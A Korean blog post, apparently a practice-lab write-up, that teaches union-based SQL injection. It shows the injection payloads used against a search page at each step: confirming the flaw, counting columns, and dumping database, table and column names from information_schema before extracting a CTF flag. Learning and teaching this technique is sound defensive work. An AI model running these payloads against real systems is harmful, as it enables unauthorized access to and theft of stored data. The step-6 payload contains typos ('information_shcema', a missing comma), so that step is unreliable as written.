본문 바로가기

웹 해킹/SQL Injection

[SQL Injection] Union Based SQL Injection란? (공격 절차, 실습)

Union Based SQL Injection

:  Union 키워드를 사용해서 원래 서버에서 사용되는 쿼리에 추가 쿼리를 요청해서 추가적인 정보를 얻는 공격
 
현재 페이지에서 사용되는 테이블의 다른 컬럼에 저장된 데이터현재 사용되는 테이블 외의 테이블에 있는 데이터를 가져올 수 있다.
 
Union Based SQLi를 사용하기 위해서는 두 쿼리에서 출력되는 컬럼 수가 같아야 한다.  
(https://sqltest.net/ 이 사이트에서 간단하게 확인할 수 있다.)
 


 
 

[공격 절차]
 
1. SQLi 포인트 찾기

union sqli가 통하기 위해서는 데이터가 웹 페이지에 출력되어야 한다. 대표적으로 검색 페이지가 있다.

여기서는 id 검색 페이지를 활용할 것이다. (최종 목적은 flag를 획득하는 것이다.)

id 검색 페이지에서 사용하는 쿼리를 생각해보면 아마 select * from 테이블명 where id like '%검색어%'
것이다.
 
mario 검색하면 쿼리는 다음과 같아진다.
select * from 테이블명 where id like ‘%mario%’
 
변조된 쿼리가 통하는지 확인하기 위해서 mario%' and '1%'='1 를 검색해본다. 만약 mario가 결과로 나온다면 sqli 취약점이 존재함이 확인된다.  
쿼리는 select * from 테이블명 where id like ‘%mario%’ and ‘1%’ = ‘1%’ 가 될것이다.

 
실제로 검색해서 확인해보면 
 

 
mario라는 데이터가 나오므로 취약점을 확인했다. 
 
 

 

2. column 개수 찾기


앞서 말했듯이 union을 사용하기 위해서는 두 쿼리의 컬럼 개수가 일치해야 하므로 우선 첫번째 쿼리에서 출력되는 컬럼 수를 알아야 한다. 이때 order by를 사용한다.

mario%’ order by 숫자 #를 검색한다. (숫자는 1부터 늘려간다.)
쿼리는  select * from 테이블명 where id like '%mario%' order by 숫자 # 가 될것이다.
 
> 숫자를 늘려가다가 오류가 발생하면(혹은 아무 데이터도 출력되지 않는다면) 컬럼 수를 초과한 것이니 오류 발생 전까지가 컬럼 개수다.
 

 
4까지는 출력되다가 5에서 아무런 데이터도 나오지 않았다. 컬럼 개수가 4개 인 것을 확인했다.
 


 

3. 출력되는 column 위치 찾기 (포맷 만들기)


컬럼 개수까지 알아냈으므로 mario%’ union select 1,2,3,4 #를 검색해서 컬럼의 출력 위치를 확인한다.
쿼리는 select * from 테이블명 where id like '%mario%’ union select 1,2,3,4 # 이렇게 된다.
 

 
1, 2, 3, 4가 모두 순서대로 출력된다.
 
이렇게 컬럼 개수와 컬럼 출력 순서 모두 확인했으니 공격 포맷은 
mario%' union select 1,2,3,4 # 와 같이 사용하면 될 것같다.
 
이후 과정은 공격 포맷을 이용하면 되므로 쭉쭉 진행된다.
 

 

4. DB 이름 확인


db 이름을 출력하는 select 문: select database()

 

> mario%’ union select 1,2,3,database() #
 

 
서버에서 사용하는 DB 이름이 sqli_1인 것을 확인
 


 

5. table 이름 확인


테이블 이름을 출력하는 select 문: select table_name from information_schema.tables where table_schema='db이름'
(information_schema은 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다.)
where문이 없으면 너무 많은 테이블이 나오므로 추가해준다. 

 

> mario%’ union select 1, 2, 3, table_name from information_schema.tables where table_schema = 'sqli_1' #
 

 
flag를 구하는게 목적이였으니 flag_table 혹은 plusFlag_Table에 플래그가 존재할 것이다.
 


 

6. column 이름 확인


flag_table 테이블의 컬럼 먼저 확인
컬럼 이름을 출력하는 select 문: select column_name from information_schema.columns where table_name = 'flag_table'

 

> mario%’ union select 1,2,3 column_name from information_shcema.columns where table_name = ‘flag_table’ #
 

 
flag라는 컬럼이 있는 것을 알아냈다. 여기에 플래그가 저장되어있을 것같으니 일단 계속 해보잣
 
 
 

7. (다른 테이블) Data 추출


원하는 데이터를 출력하기 위한 select 문: select flag from flag_table 

 

> mario%' union select 1, 2, 3, flag from flag_table #
 

 
예상대로 플래그가 출력되었다. (혹시 몰라 플래그는 가렸다.)
 



데이터가 대놓고 출력돼서 엄청 어렵다는 생각이 들지는 않았다.  blind부터 좀 걱정되지만 일단 킵고잉